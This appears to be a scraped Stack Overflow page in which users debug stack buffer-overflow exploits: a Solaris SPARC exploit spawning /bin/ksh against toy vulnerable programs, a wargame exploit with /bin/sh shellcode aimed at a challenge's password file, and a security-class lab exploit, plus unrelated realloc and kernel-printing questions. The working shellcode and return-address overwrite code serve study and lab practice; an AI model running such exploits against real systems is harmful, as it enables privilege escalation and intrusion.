Stack Overflow on SUN Sparc - c

/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode */
static char shell[] = /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 464
#define DUFSIZE 456
/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }
main( int argc, char *argv[] ) {
char buf[ BUFSIZE+1 ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
/* align return address */
if( ( rem = ret % 8 ) ){ ret &= ~(rem); }
bzero( buf, BUFSIZE );
for(i = 0; i < BUFSIZE; i += 4)
strcpy( &buf[i], np );
memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));
ptr = &buf[DUFSIZE];
/* set fp to a save stack value */
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* overwrite saved PC */
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE ] = 0;
//err = execl( "./server1", "server1", buf, ( void *)0 );
err = execl( "./server2", "server2", buf, ( void *)0 );
if( err == -1 ) perror("execl");
}
Compiling and running attack.c, I'm able to exploiting the vulnerability in server1.c
/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
char foo[400];
int i, j, k;
strcpy(foo, a);
i = 1;
}
void main(int argc, char *argv[]){
if(argc >=2 )copy( argv[1] );
}
But attack.c doesn't do the same with server2. Any idea why?
/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
char buf[200];
int i, j, k;
strcpy(buf,a);
i = 1;
}
void copy1(const char *a){
char foo[200];
int i, j, k;
copy2(a);
i = 1;
}
void main( int argc, char *argv[] ) {
if (argc >=2 )copy1( argv[1] );
}
Here is the assembly for server2.c:
(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>: save %sp, -304, %sp
0x00010bdc <copy2+4>: add %fp, -200, %o0
0x00010be0 <copy2+8>: call 0x20ce8 <strcpy#plt>
0x00010be4 <copy2+12>: mov %i0, %o1
0x00010be8 <copy2+16>: mov 1, %l0
0x00010bec <copy2+20>: st %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>: ret
0x00010bf4 <copy2+28>: restore
0x00010bf8 <copy2+32>: ret
0x00010bfc <copy2+36>: restore
0x00010c00 <copy2+40>: illtrap 0x10000
0x00010c04 <copy2+44>: illtrap 0x10000
0x00010c08 <copy2+48>: illtrap 0x10000
0x00010c0c <copy2+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>: save %sp, -304, %sp
0x00010c14 <copy1+4>: call 0x10bd8 <copy2>
0x00010c18 <copy1+8>: mov %i0, %o0
0x00010c1c <copy1+12>: mov 1, %l0
0x00010c20 <copy1+16>: st %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>: ret
0x00010c28 <copy1+24>: restore
0x00010c2c <copy1+28>: ret
0x00010c30 <copy1+32>: restore
0x00010c34 <copy1+36>: illtrap 0x10000
0x00010c38 <copy1+40>: illtrap 0x10000
0x00010c3c <copy1+44>: illtrap 0x10000
0x00010c40 <copy1+48>: illtrap 0x10000
0x00010c44 <copy1+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010c48 <main+0>: save %sp, -96, %sp
0x00010c4c <main+4>: cmp %i0, 2
0x00010c50 <main+8>: bl 0x10c68 <main+32>
0x00010c54 <main+12>: nop
0x00010c58 <main+16>: call 0x10c10 <copy1>
0x00010c5c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c60 <main+24>: ret
0x00010c64 <main+28>: restore
0x00010c68 <main+32>: ret
0x00010c6c <main+36>: restore
End of assembler dump.
And for server1.c:
(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>: save %sp, -504, %sp
0x00010bc4 <copy+4>: add %fp, -400, %o0
0x00010bc8 <copy+8>: call 0x20c98 <strcpy#plt>
0x00010bcc <copy+12>: mov %i0, %o1
0x00010bd0 <copy+16>: mov 1, %l0
0x00010bd4 <copy+20>: st %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>: ret
0x00010bdc <copy+28>: restore
0x00010be0 <copy+32>: ret
0x00010be4 <copy+36>: restore
0x00010be8 <copy+40>: illtrap 0x10000
0x00010bec <copy+44>: illtrap 0x10000
0x00010bf0 <copy+48>: illtrap 0x10000
0x00010bf4 <copy+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>: save %sp, -96, %sp
0x00010bfc <main+4>: cmp %i0, 2
0x00010c00 <main+8>: bl 0x10c18 <main+32>
0x00010c04 <main+12>: nop
0x00010c08 <main+16>: call 0x10bc0 <copy>
0x00010c0c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c10 <main+24>: ret
0x00010c14 <main+28>: restore
0x00010c18 <main+32>: ret
0x00010c1c <main+36>: restore
End of assembler dump.
what do I need to modify in attack.c to make it exploit server2.c?

pfff... finally.
#define BUFSIZE 464
#define DUFSIZE 256
I thought the offset was 8, but it's 200 + 8.

Maybe the compiler doesn't allocate space for foo[] in copy1() because it's unused. The only way to know for sure is to look at the generated assembler code for your executables.

Based on my understanding since the copy2() is the callee and copy1() is the caller and the stack frame of copy1 is below copy2, we find sum of bytes allocated to foo and buff which gives the size of the buffer. We then get the offset value by adding a value to size of buff. This value is obtained from calculating difference in addresses of the point where buffer overflow instruction is being called in the callee to the return address in the caller just after the call to callee is made since that is where we introduce the shell code.
Buffsize+32+32-8

Related

Why is the pointer to my allocated memory for my type not being realloc'd properly?

I am working on a file system of sorts in my free time and I have ran into an issue with reallocating memory for a pointer to a typedef struct.
file_t:
typedef struct {
char *fileName;
FILE *filePointer;
char *fileContents;
char *filePermissions;
size_t fileSize;
int numFilesUsed;
char *fileOwner;
char *fileGroup;
char *fileCreationDate;
} file_t;
dir_t:
typedef struct {
char **fileNames;
int numFiles;
int *fileSizes;
int dirSize;
file_t *files;
char *path;
} dir_t;
Here is the part that is causing the issue with allocation:
dir_t *currentDir = (dir_t*)malloc(sizeof(dir_t));
for(int i = 0; fileLines[i] != NULL; i++){
currentDir->files = (file_t *)realloc(currentDir->files, sizeof(file_t) * (i+2)); // I am using i+2 so that I have space for a null
}
When I compile and run, the output is:
EXEC(33314,0x1042f4580) malloc: *** error for object 0x13cf0414a: pointer being realloc'd was not allocated
EXEC(33314,0x1042f4580) malloc: *** set a breakpoint in malloc_error_break to debug Abort trap: 6
I originally thought that this could be an issue with fileLines[i] not having a proper NULL terminator, causing some sort of infinite loop, but it is working fine. Examining the variables on the stack it shows:
Before for loop:
(char **) fileLines = 0x0000600002900000
(dir_t *) currentDir = 0x0000600000c04000
During loop:
i = 0:
(char **) fileLines = 0x0000600002900000
(dir_t *) currentDir = 0x0000600000c04000
Then the abort signal arrives.
The assembly for malloc_error_break:
libsystem_malloc.dylib`malloc_error_break:
-> 0x184876278 <+0>: pacibsp
0x18487627c <+4>: stp x29, x30, [sp, #-0x10]!
0x184876280 <+8>: mov x29, sp
0x184876284 <+12>: nop
0x184876288 <+16>: ldp x29, x30, [sp], #0x10
0x18487628c <+20>: retab
Current contents of registers:
General Purpose Registers:
x0 = 0x0000000000000000
x1 = 0x000000010020c000
x2 = 0x0000000000004000
x3 = 0x0000000184a597aa libsystem_platform.dylib`___lldb_unnamed_symbol3$$libsystem_platform.dylib + 10
x4 = 0x0000000000000000
x5 = 0x0000000000000000
x6 = 0x0000000000000001
x7 = 0x0000000000000000
x8 = 0x0000000010000003
x9 = 0x000000010020c07c
x10 = 0xcccccccccccccccd
x11 = 0x000000000000000a
x12 = 0x0000000000000000
x13 = 0x0000000000000033
x14 = 0x0000000000600000
x15 = 0x0000000000000002
x16 = 0xfffffffffffffff4
x17 = 0x00000001dec1c0f8 (void *)0x0000000184a0bd40: vm_deallocate
x18 = 0x0000000000000000
x19 = 0x0000000000000050
x20 = 0x0000000000000000
x21 = 0x0000000100208028
x22 = 0x000000016fdff5b0
x23 = 0x0000000100208000
x24 = 0x0000000000000000
x25 = 0x0000000000000000
x26 = 0x000000016fdff9df
x27 = 0x000000010007c580 dyld`_main_thread
x28 = 0x0000000000000000
fp = 0x000000016fdff580
lr = 0x0000000184867d50 libsystem_malloc.dylib`malloc_vreport + 428
sp = 0x000000016fdff510
pc = 0x0000000184876278 libsystem_malloc.dylib`malloc_error_break
cpsr = 0x80000000
What am I not seeing here? Thanks.
When you allocated memory for currentDir with malloc, you did not allocate any memory for currentDir->files to point to. As such, you cannot realloc it.
Allocating memory for a struct that contains pointer members does allocate memory for the pointers, but not memory for them to point to.

Why can't i exit from shellcode with a syscall?

I try to make a Programm where you put in some assembled assembly in hex and run it.
With simple instructions like int3 it works, but when I try to exit from the programm with a syscall it doesnt work.
I assembled it with rasm2
mov eax, 1
mov ebx, 12
int 0x80
and then put it as an argument ./Programm b801000000bb0c000000cd80 1
but i get a segfault.
Here is my code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
char *base16dec(char *b16str) {
size_t stingrlength = strlen(b16str);
char *decodedstr = malloc(stingrlength / 2);
for (size_t i = 0; i < stingrlength; i += 2) {
u_int8_t num = 0;
char stringIn[3];
stringIn[0] = b16str[i];
stringIn[1] = b16str[i+1];
stringIn[2] = 0;
sscanf(stringIn, "%hhx", &num);
decodedstr[i/2] = (char) num;
}
return decodedstr;
}
this decodes the hex string
int main(int argc, char *argv[]) {
char *dirstr = "XXXXXX";
char dir[7];
strcpy(dir, dirstr);
int fd = mkstemp(dir);
if (fd == -1) {
dirstr = "/tmp/XXXXXX";
char dir[12];
strcpy(dir, dirstr);
fd = mkstemp(dir);
}
unlink(dir);
this creates the tmp file where the assembly is stored
char *stringIn;
if (argc == 2) {
stringIn = malloc(strlen(argv[1]));
strcpy(stringIn, argv[1]);
} else if (argc == 3) {
u_int8_t num = 0;
sscanf(argv[2], "%hhu", &num);
if (num == 1) {
char *done = base16dec(argv[1]);
stringIn = malloc(strlen(done));
strcpy(stringIn, done);
} else {
stringIn = malloc(strlen(argv[1]));
strcpy(stringIn, argv[1]);
}
} else {
stringIn = malloc(1024);
scanf("%s", stringIn);
char *done = base16dec(stringIn);
stringIn = malloc(strlen(done));
strcpy(stringIn, done);
}
this parses and copies the input to stringIn
ftruncate(fd, strlen(stringIn));
u_int8_t *code = mmap(NULL, strlen(stringIn), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE , fd, 0);
this expands the tmp file and makes it executable and creates a pointer to it named code
for (int i = 0; i < 1024; i++) {
code[i] = (u_int8_t) stringIn[i];
}
this copies the assembly bytes into code
#if __x86_64__
__asm__(
"mov %0, %%rbx\n"
"jmp *%%rbx"
:
: "g" (code)
: "memory"
);
#elif __i386__
__asm__(
"mov %0, %%ebx\n"
"jmp *%%ebx"
:
: "r" (code)
);
#else
#endif
this jumps to the the assembly
return 0;
}
EDIT:
I can't debug the shellcode using gdb
I use 64bit Linux Mint
I tried to copy 0 using strcpy
Since this is a shellcode you can't have null bytes. In your code you have 2 movs with immediates that are padded to 32-bits
mov eax, 1
mov ebx, 12
Which encodes as B801000000BB0C000000, when C hits the null bytes it thinks the string has ended so it only ends up copying part of the instruction and then it executes garbage.
Instead you'll need to use:
xor eax, eax
inc eax
xor ebx, ebx
mov bl, 12
This will provide the values you want for your system call and does not encode as any null bytes.

buffer overflow doesn't reach eip

Hi i'm really stuck on this problem: here are my code and below the code i try to overflow:
#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
char *env[2] = {sc, NULL};
char buf[B];
int i;
int *ap = (int*)(buf + A);
int ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
FILE *file;
for (i = 0; i < B - 4; i += 4)
{
if (i == 136)
*ap++ = 0xbffffc64;
else if (i == 98)
{
*ap++ = "/challenge/app-systeme/.passwd";//edx
}
else
{
if (i >= 50)
*ap++ = 0x42424242;
else if (i < 50)
*ap++ = 0xbfffffb1;//0x45454545;
}
}
file = fopen("/tmp/toto/COUCOU", "a+");
fprintf(file, "%s%s", "USERNAME=", buf);
fclose(file);
printf("AAAAWESOME");
execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}
Vulnerable code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFER 512
struct Init
{
char username[128];
uid_t uid;
pid_t pid;
};
void cpstr(char *dst, const char *src)
{
for(; *src; src++, dst++)
{
*dst = *src;
}
*dst = 0;
}
void chomp(char *buff)
{
for(; *buff; buff++)
{
if(*buff == '\n' || *buff == '\r' || *buff == '\t')
{
*buff = 0;
break;
}
}
}
struct Init Init(char *filename)
{
FILE *file;
struct Init init;
char buff[BUFFER+1];
if((file = fopen(filename, "r")) == NULL)
{
perror("[-] fopen ");
exit(0);
}
memset(&init, 0, sizeof(struct Init));
init.pid = getpid();
init.uid = getuid();
while(fgets(buff, BUFFER, file) != NULL)
{
chomp(buff);
if(strncmp(buff, "USERNAME=", 9) == 0)
{
cpstr(init.username, buff+9);
}
}
fclose(file);
return init;
}
int main(int argc, char **argv)
{
struct Init init;
if(argc != 2)
{
printf("Usage : %s <config_file>\n", argv[0]);
exit(0);
}
init = Init(argv[1]);
printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);
return 0;
}
Indeed i can't reach eip as gdb usually shows a segfault happening into the loop:
esi is the first register crushed after the overflow but i still don't get what feed him.
It's a buffer size at this point, i can then even fill edi and edx, but still what for ?
Is eip still unreachable ?
Well typically :
gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB7FCFFF4 ECX: 0x42424242 EDX: 0x42424242 o d I t s z a P c
ESI: 0xBFFFFC64 EDI: 0x000001FF EBP: 0xBFFFFC64 ESP: 0xBFFFF8EC EIP: 0xB7E9CD88
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88: mov ecx,DWORD PTR [edx+0x8]
0xb7e9cd8b: mov edx,DWORD PTR [edx]
0xb7e9cd8d: cmp eax,ecx
0xb7e9cd8f: cmovg eax,ecx
0xb7e9cd92: test edx,edx
0xb7e9cd94: jne 0xb7e9cd88
0xb7e9cd96: repz ret
0xb7e9cd98: nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0 0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1 0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2 0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3 0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4 0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5 0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6 0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7 0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75
Well, it seems I forgot to mention the partial RELRO state of the binary.
Anymore light is welcome .
(gdb) disas __uflow
Dump of assembler code for function __uflow:
0xb7e9d270 <+0>: push %esi
0xb7e9d271 <+1>: push %ebx
...
0xb7e9d37c <+268>: lea 0x0(%esi,%eiz,1),%esi
=> 0xb7e9d380 <+272>: movzbl (%edx),%eax
0xb7e9d383 <+275>: add $0x1,%edx
...
0xb7e9d3b3 <+323>: call 0xb7e92ca0
0xb7e9d3b8 <+328>: jmp 0xb7e9d2b1 <__uflow+65>
End of assembler dump.
(gdb) x/i $eax
0xb7e9c588 <_IO_file_overflow+424>: add %bh,-0x1(%eax)
(gdb) vim ok
Undefined command: "vim". Try "help".
(gdb) x/i $edx
0x806c000: Cannot access memory at address 0x806c000
(gdb)
Something can detect the overflow ?
Well, this is resolved. But trust me i don't have a clue of what i've done, and if anybody could teach us all a lesson he'd be Welcome.
I didn't analyze it in detail, but it seems you are not overflowing init in main(), you are overflowing init in Init(), but its proving resilient to overflow because theres a 513 bytes buffer reserved right after it, spacing you from the sensitive call stack information you want to attack.
Once Init() returns this struct to main() through a copy operation, only sizeof(struct Init) bytes are copied, so its not cascading the vulnerability to the function that you want to attack.
I believe if you want to trigger the vulnerability without interference of any of this, you should overwrite main()'s init directly, by passing it to Init() as a pointer, like void Init(char *filename, struct Init *init).

C kernel- printing string not working

I am making a C kernel from scratch, and I literally just copied this code off of a website because my code wasn't working so I was confused.
void kmain(void)
{
const char *str = "my first kernel";
char *vidptr = (char*)0xb8000; //video mem begins here.
unsigned int i = 0;
unsigned int j = 0;
/* this loops clears the screen
* there are 25 lines each of 80 columns; each element takes 2 bytes */
while(j < 80 * 25 * 2) {
/* blank character */
vidptr[j] = ' ';
/* attribute-byte - light grey on black screen */
vidptr[j+1] = 0x07;
j = j + 2;
}
j = 0;
/* this loop writes the string to video memory */
while(str[j] != '\0') {
/* the character's ascii */
vidptr[i] = str[j];
/* attribute-byte: give character black bg and light grey fg */
vidptr[i+1] = 0x07;
++j;
i = i + 2;
}
return;
}
When I run my kernel, it prints an S to the screen and nothing else. I know my kernel is booting, because if I do
vidptr[0] = 'h';
vidptr[2] = 'e';
vidptr[4] = 'l';
vidptr[6] = 'l';
vidptr[8] = 'o';
it works as expected. What is happening?
EDIT: It might be something with my code that loads the kernel (might not have set up some of the registers) so I will just look into grub and other things.
Try using the volatile keyword with the variable
Ref page: http://wiki.osdev.org/Printing_To_Screen
// note this example will always write to the top
// line of the screen
void write_string( int colour, const char *string )
{
volatile char *video = (volatile char*)0xB8000;
while( *string != 0 )
{
*video++ = *string++;
*video++ = colour;
}
}
For some reason, if I use char str[] = "blabla"; instead of char *str = "blabla"; it works.
First, have you set the SP before jumping Kernel or before running the function? If you have not, please set them appropriately. In your starting function you should set the stack pointer DS, SS; you can use inline assembly at the beginning of the program. Also instead char * p = "Something" you should use char var [] = "Something", or
char var[10];
var[1] = 'S';
var[2] = 'o';
or
char var[] = { 'S', 'o', 'm', 'e', ..., '\0' } ;
My bootloader establishes the GDT and makes the switcthing to 32 bit mode and jumps (jmp 0x8:0x8000) Here 0x8 is my Code segment address in GDT, 0x10 for the DS, SS; so it jumps to kernel. Before I hadn't set the SS, SP, DS and I could not get it printed so I have written this small code:
[bits 32]
MOV AX, 0x10 ; 0x10 points at the new data selector
MOV DS, eax
MOV ES, AX
MOV FS, AX
MOV GS, AX
MOV SS, AX
MOV eax, 0x200000
MOV esp, eax
and compiled it with nasm and added to beginning of the kernel program manually by using a HEX editor program.

Getting SIGILL when trying to execute buffer overflow attack

I'm working on my buffer overflow project for my security class, I think I have everything set up right but when I run it I get:
Program received signal SIGILL, Illegal Instruction.
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22
22 fread(str,sizeof(char),517,badfile);
Heres stack.c
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
here is exploit.c
char code[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\x70\xF2\xFF\xBF";
void main(int argc, char **argv)
{
char strr[517];
strr[0] = 'Z';
strr[1] = 0;
strr[2] = '\x00';
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
//memcpy(buffer, "EGG=", 4);
memcpy(buffer, code, 24);
memcpy(buffer+20,retaddr,4);
memcpy(buffer+24,"\x00\x00\x00\x00",4);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
Here is the stack at runtime.
Starting program: /home/john/stack
Breakpoint 1, bof (
str=0xbffff2b7 "1\300Phn/shh//bi\211\343\231RS\211\341p\362\377\277")
at stack.c:13
13 strcpy(buffer, str);
(gdb) x/12xw $esp
0xbffff270: 0x00000205 0xbffff298 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x00000205 0xb7fef6c0 0x00584ff4
0xbffff290: 0x00000000 0x00000000 0xbffff4c8 0x0804850f
(gdb) s
14 return 1;
(gdb) x/12xw $esp
0xbffff270: 0xbffff284 0xbffff2b7 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x6850c031 0x68732f6e 0x622f2f68
0xbffff290: 0x99e38969 0xe1895352 0xbffff270 0x08048500
(gdb) c
Continuing.
Any idea why I'm getting SIGILL?
Because you're executing illegal code. In your exploit.c, you're overwriting offsets 20-23 with the return address -- those bytes were previously the b0 0b cd 80 corresponding to the last two mov $0xb,%al and int $0x80 instructions. The zero bytes you put in there are illegal code.
Since the return address has to go at that specific offset for this target, you need to modify your shell code not to use that data. I'd suggest either moving the shell code to after that offset and pointing the return address there, or putting in a jump over the return address so that the processor doesn't try to execute it.

Resources